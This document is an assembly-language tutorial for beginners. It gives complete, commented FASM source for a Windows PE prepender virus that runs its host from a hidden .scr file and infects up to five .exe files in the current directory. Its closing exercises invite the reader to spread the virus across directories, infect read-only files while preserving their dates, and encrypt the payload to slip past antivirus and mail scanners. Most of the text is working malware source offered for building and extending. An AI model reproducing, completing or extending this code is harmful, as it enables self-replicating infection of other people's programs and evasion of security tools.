Simple pe prepender-like tutorial virus [by BlueOwl]
; ########################################################################
;
; Hi, welcome to 'Simple pe prepender-like tutorial virus' for
; beginners.
;
; Before we get started, this is what you need to know:
; o For starters, you need to know the basic assembler instructions. If
; you don't know them, i recommend you searching the internet for
; tutorials like 'adams assembly tutorial'. Afcourse, without this
; knowledge, there is no use reading this tutorial.
; o You need to know how 'invoke' works and have a little bit of knowledge
; on how fasm works.
; o It is recommend and assumed you have at least programmed a simple
; overwriting virus or/and a companion virus. The easy prepender is
; like a mix of the two.
;
; You need to have:
; o The flat assembler (free), available from http://www.flatassembler.net.
; o Recommend is a win32 api reference
; o Intelligence, persistance, etc... :-)
;
; Okay my friend, we are ready to take a plunge into the real stuff..
;
; Real start:
; What we are going to do is make a very simple pe prepender. A pe
; prepender normally infects files by placing a copy of themselves
; over the program to infect and attach the original program to its
; back. When run, it places the original file back in memory and
; runs it. Because working with memory and jumps to the original
; program is not as easy as it seems, what we are going to do is
; simply writing the original program to a file and running it
; there.
;
; Main program functions:
; The program routine looks like the following:
;
; 1. Write the host to a file & load virus in memory for infection
; 2. Execute the host
; 3. Find a file to infect
; 4. If possible infect it
; 5. If there are more files and the virus hasn't infected more than
; a number of files jump to step 3.
; 6. Unload virus from memory
; 7. Exit the program
;
; As you can notice, we don't delete the temporary file. It is probably
; still running so we can't delete it.
;
; Let's start with some code . .
; ------------------------------------------------------------------------
; SOV (start of virus)
format PE GUI 4.0 ; declare our program
include '%fasminc%\win32a.inc' ; include the necassary stuff, note that
; when you first install fasm to put two
; lines in fasmw.ini with "[Enviroment]",
; ,"Fasminc = C:\something\include".
virus_program_size equ 2560 ; Declare the virus size to 2560, when
; you choose to edit the virus remember
; to adjust this!!
; Declare a macro to make buffers
macro dup label,lcount
{ forward
label#:
common
repeat lcount
forward
db 0
common
end repeat }
; ------------------------------------------------------------------------
; Now that we have declared some stuff, it is time to start with the real
; code. Note that i didn't include any .code or .data on purpose (if you
; were wondering), the compiler will automatically output .flat code.
start:
call load_program ; load virus and write host
or eax, eax ; compare if..
jnz load_ok ; equal to zero
jmp exit_program ; yes (error)? exit program
load_ok:
call execute_host ; order fries and pizza..
; just kidding, execute host
call infect_directory ; while the host is running
; start infecting some stuff
call unload_program ; we're done, unload virus
exit_program:
invoke ExitProcess, 0 ; exit, see ya later!
; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
load_program:
; To load the virus, we've got to open the running process's file, and
; read exactly the virus' size.
invoke GetModuleFileNameA, 0,main_buffer,256 ; get current process' location.
invoke CreateFileA, main_buffer,GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,\
0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ; open it
cmp eax, INVALID_HANDLE_VALUE ; error opening?
jne open_ok ; nope ok
jmp load_error ; error, leave
open_ok:
mov [file_handle], eax ; save file handle
invoke GetFileSize, [file_handle],0 ; get file size
mov [file_size], eax ; save it
invoke GlobalAlloc, GMEM_MOVEABLE,virus_program_size ; open enough memory
or eax, eax ; error (0)??
jz alloc_error ; yes..leave
mov [mem_handle], eax ; save handle 1
invoke GlobalLock, [mem_handle] ; get memory start
mov [mem_start], eax ; save it..
invoke ReadFile, [file_handle],[mem_start],virus_program_size,NBR,0 ; read entire virus code
sub [file_size],virus_program_size ; substract read size
invoke GlobalAlloc, GMEM_MOVEABLE,[file_size] ; get enough memory to save the rest
mov [second_mem_handle], eax ; save its handle
invoke GlobalLock,[second_mem_handle] ; get memory start (2)
mov [second_mem_start],eax ; save it..
invoke ReadFile, [file_handle],[second_mem_start],[file_size],NBR,0 ; read what's after the virus
; We've now got both the virus and the host read into buffers
; we now only have to write the host to a file and we're done.
; Because we can't have the host have its original name we
; have to give the new file a new extension.
mov eax, main_buffer ; eax = start main_buffer
get_ext:
inc eax ; eax = eax + 1
cmp byte [eax], 0 ; is the byte at eax zero?
jne get_ext ; no? jump to get_ext
mov dword [eax-4], ".SCR" ; change extension to ".SCR"
; The above will change something like
; C:\some\path\name\host.exe to C:\some\path\name\host.scr
; Note: for the one's who didn't do their research;
; in other assemblers ".SCR" would be "RCS.",
; but not in fasm. :)
; Now we have to write the host to file..
invoke CreateFileA, main_buffer,GENERIC_WRITE,FILE_SHARE_READ,\
0,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,0 ; create the new file
mov [second_file_handle], eax ; save it's handle
invoke WriteFile, [second_file_handle],[second_mem_start],[file_size],NBR,0 ; write the host to the file
invoke SetEndOfFile, [second_file_handle] ; set 'EOF' (end of file). not doing this
; will cause strange errors..
invoke CloseHandle, [second_file_handle] ; close it up
invoke GlobalUnlock,[second_mem_handle] ; unlock memory
invoke GlobalFree,[second_mem_handle] ; free memory
alloc_error:
invoke CloseHandle, [file_handle] ; close our file up
ret ; return
load_error:
xor eax, eax ; eax = 0 (error)
ret ; return
; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
infect_directory:
; Because we want to infect the files in the current directory,
; we afcourse first have to know which files are there.
invoke FindFirstFileA, exe_mask, FIND_STRUCT ; find the first *.exe
cmp eax, INVALID_HANDLE_VALUE ; error!?
jne find_ok ; no? allright then
jmp exit_search ; exit..
find_ok:
mov [find_handle], eax ; save the find handle returned
call infect_file ; infect the file found
; (if possible)
find_loop:
cmp [infection_counter], 0 ; have we infected 5 files?
je find_close ; yes..exit
invoke FindNextFile, [find_handle],FIND_STRUCT ; find the next file
or eax, eax ; returns false (0)?
jz find_close ; yes..exit
call infect_file ; infect the file found
jmp find_loop ; jump back to find_loop
find_close:
invoke FindClose, [find_handle] ; close the find handle
exit_search:
ret ; return
; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
infect_file:
; To infect the file found, we:
; 1) open it; 2) read the stuff inside; 3) write the virus to it
; 4) write the original stuff behind it
invoke CreateFileA, cFileName,GENERIC_READ,FILE_SHARE_READ,\
0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ; open the file in read-access
cmp eax, INVALID_HANDLE_VALUE ; error!?
je error_infect_exit ; yes..exit
mov [file_handle], eax ; save the handle
invoke GetFileSize, [file_handle], 0 ; get the filesize
mov [file_size], eax ; save it
invoke GlobalAlloc, GMEM_MOVEABLE, [file_size] ; get enough memory
mov [second_mem_handle], eax ; save its handle
invoke GlobalLock, [second_mem_handle] ; lock and get start
mov [second_mem_start], eax ; save memstart
invoke ReadFile, [file_handle],[second_mem_start],[file_size],NBR,0 ; read everything to the buffer
invoke CloseHandle, [file_handle] ; close the file
; We have the file in a buffer but don't know yet if it's
; infected or not. To check wether or not it was we check
; the file for the infection marker "TUTE", if it exists
; we abord.
; To avoid problems we skip the check if the file is shorter
; then the virus (the host couldn't possibly be infected).
cmp [file_size], virus_program_size ; filesize shorter then virus?
jb is_not_infected ; yes..skip infection check
mov eax, [second_mem_start] ; put the filestart in eax
mov ecx, virus_program_size ; put virus size in ecx
check_if_infected_loop:
cmp dword [eax+ecx], "TUTE" ; dword at eax+ecx equals "TUTE"
je error_infect_exit ; yes..skip infection
dec ecx ; decrement ecx
jne check_if_infected_loop ; still more? jmp check_..
is_not_infected:
; Everything okay. Continue with infection.
invoke CreateFileA, cFileName,GENERIC_WRITE,FILE_SHARE_READ,\
0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ; Open our victim for the second time,
; now with WRITE access.
cmp eax, INVALID_HANDLE_VALUE ; error!?
je error_infect_exit ; yes..skip infection
mov [file_handle], eax ; save its handle
invoke WriteFile, [file_handle],[mem_start],virus_program_size,NBR,0 ; write the virus code
invoke WriteFile, [file_handle],[second_mem_start],[file_size],NBR,0 ; write original program
invoke SetEndOfFile, [file_handle] ; set EOF (end of file).
invoke GlobalUnlock, [second_mem_handle] ; unlock memory
invoke GlobalFree, [second_mem_handle] ; free it
dec [infection_counter] ; infection_counter = infection_counter - 1
error_close:
invoke CloseHandle, [file_handle] ; close filehandle
error_infect_exit:
ret ; return
; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
execute_host:
; To execute the host multiple ways exist. The easiest though
; is ShellExecute, so we just use this to execute.
invoke ShellExecute, 0,str_open,main_buffer,0,\
0,SW_SHOW ; execute
ret ; return
; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
unload_program:
; Before we quit, we first have to free the memory the virus
; was stored in to use with infection.
invoke GlobalUnlock,[mem_handle] ; unlock virusdata memory
invoke GlobalFree,[mem_handle] ; free it
ret ; return
; ########################################################################
; data used by the virus
infection_counter db 5 ; the infection counter, initiated with 5.
exe_mask db "*.exe",0 ; type of files to search for (.exes)
str_open db "open",0 ; open command with shellexecute
find_handle dd 0 ; handles/other stuff..
file_handle dd 0
second_file_handle dd 0
file_size dd 0
mem_handle dd 0
second_mem_handle dd 0
mem_start dd 0
second_mem_start dd 0
NBR dd 0 ; number bytes written/read
dup main_buffer, 256 ; buffer of 256 bytes
FIND_STRUCT: ; find structure used with searching
dwFileAttributes dd 0
ftCreationTime dd 0,0
ftLastAccessTime dd 0,0
ftLastWriteTime dd 0,0
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
dup cFileName, 256 ; found file buffer
dup cAlternate, 14
; ------------------------------------------------------------------------
; ------------------------------------------------------------------------
; imports used by the virus
data import
library kernel32,'KERNEL32.DLL',\ ; declare librarys used
shell32,'SHELL32.DLL'
import kernel32,\ ; apis used from kernel32
ExitProcess,'ExitProcess',\
GetModuleFileNameA,'GetModuleFileNameA',\
CreateFileA,'CreateFileA',\
GetFileSize,'GetFileSize',\
GlobalAlloc,'GlobalAlloc',\
GlobalLock,'GlobalLock',\
ReadFile,'ReadFile',\
WriteFile,'WriteFile',\
SetEndOfFile,'SetEndOfFile',\
CloseHandle,'CloseHandle',\
GlobalUnlock,'GlobalUnlock',\
GlobalFree,'GlobalFree',\
FindFirstFileA,'FindFirstFileA',\
FindNextFile,'FindNextFileA',\
FindClose,'FindClose'
import shell32,\
ShellExecute,'ShellExecuteA' ; api used from shell32
end data
; EOV (end of virus :))
; ########################################################################
; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
; ########################################################################
;
; Exersises:
; To practise your programming skills, try doing the following
; exercises (ranging in difficulty) with it:
;
; 1. Because we just try to open the file in write-mode read-only protect-
; ed files will not get infected. Try modifying the virus in a way
; it will be able to infect read-only files yet preserving/restoring
; their attributes after infection. Also try preserving the original
; file dates.
; 2. The virus currently only infects the current directory, try getting
; the virus to infect the current, and at least one directory up the
; latter ('C:\path'&'C:\path\another path').
; (Hint: make use of another FindFirstFileA and SetCurrentDirectoryA)
; 3. Because the host is appended to the back of the original file, it
; is very easy (for programs like antivirusses) to clean the program
; of the virus, it also makes an easy target for mailscanners. Try
; making some kind of- and using an encryption procedure before appen-
; ding the original host, and adding a decryption procedure for the
; writing-to-file.
; 4. There are more extensions then just .exe for executables. Modify
; the virus in a way it will infect both *.exe and *.scr, and will
; use appropiate extraction (if *.exe -> *.scr, if *.scr -> *.exe).
;
; Note: keep in mind to change the virus_program_size when needed!
;
;*************************************************************************